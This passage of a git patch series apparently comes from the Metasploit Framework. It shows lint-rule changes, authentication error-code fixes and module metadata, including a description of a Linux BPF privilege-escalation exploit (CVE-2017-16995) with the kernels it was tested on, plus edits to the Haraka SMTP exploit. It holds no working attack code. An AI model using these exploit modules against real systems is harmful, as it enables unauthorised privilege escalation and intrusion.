active_module if mod # if there is an active module, give them the fanciness they have come to expect - driver.update_prompt("#{prompt} #{mod.type}(%bld%red#{mod.shortname}%clr) ", prompt_char, true) + driver.update_prompt("#{prompt} #{mod.type}(%bld%red#{mod.promptname}%clr) ", prompt_char, true) else driver.update_prompt("#{prompt} ", prompt_char, true) end From b78a0878b830fc44b5e54a203fea55eff80e59c7 Mon Sep 17 00:00:00 2001 From: William Vu Date: Wed, 18 Jul 2018 00:05:48 -0500 Subject: [PATCH 207/217] Upgrade info checks to warning Also nix get vs. get_once check, since it's inconsistent in practice. --- tools/dev/msftidy.rb | 16 +++++----------- 1 file changed, 5 insertions(+), 11 deletions(-) diff --git a/tools/dev/msftidy.rb b/tools/dev/msftidy.rb index ebfa10dc04..ea2886a3b3 100755 --- a/tools/dev/msftidy.rb +++ b/tools/dev/msftidy.rb @@ -419,7 +419,7 @@ class Msftidy error("Invalid ranking. You have '#{$1}'") end else - info('No Rank specified. The default is NormalRanking. Please add an explicit Rank value.') + warn('No Rank specified. The default is NormalRanking. Please add an explicit Rank value.') end end @@ -604,26 +604,20 @@ class Msftidy test = @source.scan(/send_request_cgi\s*\(?\s*\{?\s*['"]uri['"]\s*=>\s*[^=})]*?\?[^,})]+/im) unless test.empty? test.each { |item| - info("Please use vars_get in send_request_cgi: #{item}") + warn("Please use vars_get in send_request_cgi: #{item}") } end end def check_newline_eof if @source !~ /(?:\r\n|\n)\z/m - info('Please add a newline at the end of the file') - end - end - - def check_sock_get - if @source =~ /\s+sock\.get(\s*|\(|\d+\s*|\d+\s*,\d+\s*)/m && @source !~ /sock\.get_once/ - info('Please use sock.get_once instead of sock.get') + warn('Please add a newline at the end of the file') end end def check_udp_sock_get if @source =~ /udp_sock\.get/m && @source !~ /udp_sock\.get\([a-zA-Z0-9]+/ - info('Please specify a timeout to udp_sock.get') + warn('Please specify a timeout to udp_sock.get') end end @@ -635,7 +629,7 @@ class Msftidy test = @source.scan(/^#.+http\/\/(?:www\.)?metasploit.com/) unless test.empty? test.each { |item| - info("Invalid URL: #{item}") + warn("Invalid URL: #{item}") } end end From c1a16587486263bbfa8ec0458a60113da6fefb21 Mon Sep 17 00:00:00 2001 From: Metasploit Date: Wed, 18 Jul 2018 04:41:19 -0700 Subject: [PATCH 208/217] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 47 +++++++++++++++++++++++++++++++++++ 1 file changed, 47 insertions(+) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index ac8a75d1b5..61f9dd0479 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -32655,6 +32655,53 @@ "is_install_path": true, "ref_name": "linux/local/bpf_priv_esc" }, + "exploit_linux/local/bpf_sign_extension_priv_esc": { + "name": "Linux BPF Sign Extension Local Privilege Escalation", + "full_name": "exploit/linux/local/bpf_sign_extension_priv_esc", + "rank": 500, + "disclosure_date": "2017-11-12", + "type": "exploit", + "author": [ + "Jann Horn", + "bleidl", + "vnik", + "rlarabee", + "h00die", + "bcoles" + ], + "description": "Linux kernel prior to 4.14.8 utilizes the Berkeley Packet Filter (BPF)\n which contains a vulnerability where it may improperly perform sign\n extension. This can be utilized to escalate privileges.\n\n The target system must be compiled with BPF support and must not have\n kernel.unprivileged_bpf_disabled set to 1.\n\n This module has been tested successfully on:\n\n Debian 9.0 kernel 4.9.0-3-amd64;\n Deepin 15.5 kernel 4.9.0-deepin13-amd64;\n ElementaryOS 0.4.1 kernel 4.8.0-52-generic;\n Fedora 25 kernel 4.8.6-300.fc25.x86_64;\n Fedora 26 kernel 4.11.8-300.fc26.x86_64;\n Fedora 27 kernel 4.13.9-300.fc27.x86_64;\n Gentoo 2.2 kernel 4.5.2-aufs-r;\n Linux Mint 17.3 kernel 4.4.0-89-generic;\n Linux Mint 18.0 kernel 4.8.0-58-generic;\n Linux Mint 18.3 kernel 4.13.0-16-generic;\n Mageia 6 kernel 4.9.35-desktop-1.mga6;\n Manjero 16.10 kernel 4.4.28-2-MANJARO;\n Solus 3 kernel 4.12.7-11.current;\n Ubuntu 14.04.1 kernel 4.4.0-89-generic;\n Ubuntu 16.04.2 kernel 4.8.0-45-generic;\n Ubuntu 16.04.3 kernel 4.10.0-28-generic;\n Ubuntu 17.04 kernel 4.10.0-19-generic;\n ZorinOS 12.1 kernel 4.8.0-39-generic.", + "references": [ + "AKA-get-rekt-linux-hardened.c", + "AKA-upstream44.c", + "BID-102288", + "CVE-2017-16995", + "EDB-44298", + "EDB-45010", + "URL-https://github.com/rlarabee/exploits/blob/master/cve-2017-16995/cve-2017-16995.c", + "URL-https://github.com/brl/grlh/blob/master/get-rekt-linux-hardened.c", + "URL-http://cyseclabs.com/pub/upstream44.c", + "URL-https://blog.aquasec.com/ebpf-vulnerability-cve-2017-16995-when-the-doorman-becomes-the-backdoor", + "URL-https://ricklarabee.blogspot.com/2018/07/ebpf-and-analysis-of-get-rekt-linux.html", + "URL-https://www.debian.org/security/2017/dsa-4073", + "URL-https://usn.ubuntu.com/3523-2/", + "URL-https://people.canonical.com/~ubuntu-security/cve/2017/CVE-2017-16995.html", + "URL-https://bugs.chromium.org/p/project-zero/issues/detail?id=1454", + "URL-http://openwall.com/lists/oss-security/2017/12/21/2", + "URL-https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=95a762e2c8c942780948091f8f2a4f32fce1ac6f" + ], + "is_server": true, + "is_client": false, + "platform": "Linux", + "arch": "x86, x64", + "rport": "", + "targets": [ + "Auto" + ], + "mod_time": "2018-07-17 06:24:16 +0000", + "path": "/modules/exploits/linux/local/bpf_sign_extension_priv_esc.rb", + "is_install_path": true, + "ref_name": "linux/local/bpf_sign_extension_priv_esc" + }, "exploit_linux/local/cron_persistence": { "name": "Cron Persistence", "full_name": "exploit/linux/local/cron_persistence", From 0b0a9bfd321c825338b74a03b33fb1acd034636a Mon Sep 17 00:00:00 2001 From: William Vu Date: Wed, 18 Jul 2018 09:47:17 -0500 Subject: [PATCH 209/217] Remove check_sock_get from run_checks --- tools/dev/msftidy.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/tools/dev/msftidy.rb b/tools/dev/msftidy.rb index ea2886a3b3..dcf9a23124 100755 --- a/tools/dev/msftidy.rb +++ b/tools/dev/msftidy.rb @@ -697,7 +697,6 @@ class Msftidy check_vuln_codes check_vars_get check_newline_eof - check_sock_get check_udp_sock_get check_invalid_url_scheme check_print_debug From 6d3db92fb235b5b438d35eb042c682a7b04bf1f5 Mon Sep 17 00:00:00 2001 From: Wei Chen Date: Wed, 18 Jul 2018 10:23:21 -0500 Subject: [PATCH 210/217] Fix fake_function_collection_spec --- .../crandomizer/code_factory/fake_function_collection_spec.rb | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/fake_function_collection_spec.rb b/spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/fake_function_collection_spec.rb index 65a7064218..65e468f016 100644 --- a/spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/fake_function_collection_spec.rb +++ b/spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/fake_function_collection_spec.rb @@ -29,8 +29,7 @@ RSpec.describe Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::Fak describe '#to_s' do it 'converts function objects to a string' do str = subject.to_s - expect(str).to match(/function/) - expect(str).to match(/return/) + expect(str).to match(/function\d+.+\(.*\)\s*{.*}/) end end From 4ff39e3799ba8daced33899583a705c7c584123c Mon Sep 17 00:00:00 2001 From: Matthew Kienow Date: Wed, 18 Jul 2018 14:04:09 -0400 Subject: [PATCH 211/217] Fix error code returned by authentication failure Previously an authentication failure message would indicate that the error was permissions related yet the error code remained 401. The fix allows the Authentication::Strategies classes to specify an error code that is returned to the user. --- .../strategies/admin_api_token.rb | 18 ++++++++-------- .../authentication/strategies/api_token.rb | 21 ++++++++----------- .../db_manager/http/servlet/auth_servlet.rb | 3 ++- 3 files changed, 20 insertions(+), 22 deletions(-) diff --git a/lib/msf/core/db_manager/http/authentication/strategies/admin_api_token.rb b/lib/msf/core/db_manager/http/authentication/strategies/admin_api_token.rb index c6476bb995..69a2d19313 100644 --- a/lib/msf/core/db_manager/http/authentication/strategies/admin_api_token.rb +++ b/lib/msf/core/db_manager/http/authentication/strategies/admin_api_token.rb @@ -4,16 +4,16 @@ module Authentication # Validates the user associated with the API token is an admin. # - # @return [Boolean] True if the user is valid; otherwise, false. - def valid_user?(user) - super && user.admin - end + # @return [Hash] User validation data + # @option :valid [Boolean] True if the user is valid; otherwise, false. + # @option :code [Integer] 0 if the user is valid; otherwise, a non-zero strategy failure code. + # @option :message [String] strategy failure message + def validate_user(user) + # perform parent validation first + data = super + return data if !data[:valid] - # Gets the strategy failure message. - # - # @return [String] The strategy failure message. - def strategy_failure_message - "Invalid permissions." + user.admin ? {valid: true, code: 0, message: nil} : {valid: false, code: 403, message: "Invalid permissions."} end end diff --git a/lib/msf/core/db_manager/http/authentication/strategies/api_token.rb b/lib/msf/core/db_manager/http/authentication/strategies/api_token.rb index d5d94901a2..4b5ce0044f 100644 --- a/lib/msf/core/db_manager/http/authentication/strategies/api_token.rb +++ b/lib/msf/core/db_manager/http/authentication/strategies/api_token.rb @@ -29,26 +29,23 @@ module Authentication user = db_manager.users(persistence_token: token).first - if valid_user?(user) + validation_data = validate_user(user) + if validation_data[:valid] success!(user) else - throw(:warden, message: strategy_failure_message) + throw(:warden, message: validation_data[:message], code: validation_data[:code]) end end end # Validates the user associated with the API token. # - # @return [Boolean] True if the user is valid; otherwise, false. - def valid_user?(user) - !user.nil? - end - - # Gets the strategy failure message. - # - # @return [String] The strategy failure message. - def strategy_failure_message - "Invalid API token." + # @return [Hash] User validation data + # @option :valid [Boolean] True if the user is valid; otherwise, false. + # @option :code [Integer] 0 if the user is valid; otherwise, a non-zero strategy failure code. + # @option :message [String] strategy failure message + def validate_user(user) + !user.nil? ? {valid: true, code: 0, message: nil} : {valid: false, code: 401, message: "Invalid API token."} end end diff --git a/lib/msf/core/db_manager/http/servlet/auth_servlet.rb b/lib/msf/core/db_manager/http/servlet/auth_servlet.rb index af1b5851ac..7cf8d6ae35 100644 --- a/lib/msf/core/db_manager/http/servlet/auth_servlet.rb +++ b/lib/msf/core/db_manager/http/servlet/auth_servlet.rb @@ -94,8 +94,9 @@ module AuthServlet end msg = warden_options[:message] + code = warden_options[:code] || 401 error = { - code: 401, + code: code, message: "#{!msg.nil? ? "#{msg} " : nil}Authenticate to access this resource." } set_json_error_response(response: error, code: error[:code]) From 3147b8307b2f052ac10719c4d4e19a27e598f98d Mon Sep 17 00:00:00 2001 From: Matthew Kienow Date: Wed, 18 Jul 2018 14:08:30 -0400 Subject: [PATCH 212/217] Fix issue when adding authenticated data service Add authentication to MsfServlet as a simple workaround to an issue that occurs when data_services cmd is used to add a remote service that requires an API token and no token or an invalid token are provided. --- lib/msf/core/db_manager/http/servlet/msf_servlet.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/lib/msf/core/db_manager/http/servlet/msf_servlet.rb b/lib/msf/core/db_manager/http/servlet/msf_servlet.rb index 5fc6ba307a..14cb653e60 100644 --- a/lib/msf/core/db_manager/http/servlet/msf_servlet.rb +++ b/lib/msf/core/db_manager/http/servlet/msf_servlet.rb @@ -18,6 +18,7 @@ module MsfServlet def self.get_msf_version lambda { + warden.authenticate! set_json_response({metasploit_version: Metasploit::Framework::VERSION}) } end From 257a05d5d7adb336a95e7806ab810f315650da44 Mon Sep 17 00:00:00 2001 From: Matthew Kienow Date: Wed, 18 Jul 2018 14:29:32 -0400 Subject: [PATCH 213/217] Add long port option for data_services cmd --- lib/msf/ui/console/command_dispatcher/db.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/msf/ui/console/command_dispatcher/db.rb b/lib/msf/ui/console/command_dispatcher/db.rb index 4694d4caf6..cdb2458e7a 100644 --- a/lib/msf/ui/console/command_dispatcher/db.rb +++ b/lib/msf/ui/console/command_dispatcher/db.rb @@ -1975,7 +1975,7 @@ class Db https_opts = {} while (arg = args.shift) case arg - when '-p' + when '-p', '--port' port = args.shift when '-t', '--token' opts[:api_token] = args.shift @@ -2047,7 +2047,7 @@ class Db print_line " -s, --set Set the active data service by identifier." print_line " -a, --add [ options ] Add a new data service" print_line " Add Data Service Options:" - print_line " -p The port the data service is listening on. Default is 8080." + print_line " -p, --port The port the data service is listening on. Default is 8080." print_line " -t, --token API Token for MSF web service" print_line " -s, --ssl Enable SSL. Required for HTTPS data services." print_line " -c, --cert Certificate file matching the server's certificate. Needed when using self-signed SSL cert." From 0892130542e296f2dbfff637e48ff59fe477b42c Mon Sep 17 00:00:00 2001 From: Metasploit Date: Wed, 18 Jul 2018 12:59:22 -0700 Subject: [PATCH 214/217] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index 61f9dd0479..11e42fa214 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -80607,7 +80607,7 @@ "targets": [ "win x64" ], - "mod_time": "2018-06-21 15:10:47 +0000", + "mod_time": "2018-07-17 17:34:51 +0000", "path": "/modules/exploits/windows/smb/ms17_010_eternalblue_win8.py", "is_install_path": true, "ref_name": "windows/smb/ms17_010_eternalblue_win8" From ee6de3da39af9490243d434e8e8d302ad0e031a6 Mon Sep 17 00:00:00 2001 From: Matthew Kienow Date: Wed, 18 Jul 2018 17:35:47 -0400 Subject: [PATCH 215/217] Make endpoint plural and uniform with the others --- lib/msf/core/db_manager/http/servlet/user_servlet.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/db_manager/http/servlet/user_servlet.rb b/lib/msf/core/db_manager/http/servlet/user_servlet.rb index 7cc35430b4..c8672fc2ad 100644 --- a/lib/msf/core/db_manager/http/servlet/user_servlet.rb +++ b/lib/msf/core/db_manager/http/servlet/user_servlet.rb @@ -1,7 +1,7 @@ module UserServlet def self.api_path - '/api/v1/user' + '/api/v1/users' end def self.api_path_with_id From b90583d07c121f2c06b2f39faf4523b987673585 Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Wed, 18 Jul 2018 17:17:45 -0500 Subject: [PATCH 216/217] don't throw an exception in haraka checks if we cannot connect --- modules/exploits/linux/smtp/haraka.py | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/modules/exploits/linux/smtp/haraka.py b/modules/exploits/linux/smtp/haraka.py index a6e0ec3a83..71ab1218c5 100755 --- a/modules/exploits/linux/smtp/haraka.py +++ b/modules/exploits/linux/smtp/haraka.py @@ -111,7 +111,11 @@ def create_zip(cmd="touch /tmp/harakiri"): def check_banner(args): module.log('{}:{} Starting banner check for Haraka < 2.8.9'.format(args['rhost'], args['rport']), level='debug') c = smtplib.SMTP() - (code, banner) = c.connect(args['rhost'], int(args['rport'])) + try: + (code, banner) = c.connect(args['rhost'], int(args['rport'])) + except: + return 'unknown' + c.quit() if code == 220 and 'Haraka' in banner: From 6347f2683494537d3a05020abb5c0f19bc8d6ea0 Mon Sep 17 00:00:00 2001 From: Metasploit Date: Wed, 18 Jul 2018 15:46:14 -0700 Subject: [PATCH 217/217] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index 11e42fa214..db236deb50 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -34766,7 +34766,7 @@ "linux x64", "linux x86" ], - "mod_time": "2018-06-19 16:46:20 +0000", + "mod_time": "2018-07-18 17:17:45 +0000", "path": "/modules/exploits/linux/smtp/haraka.py", "is_install_path": true, "ref_name": "linux/smtp/haraka"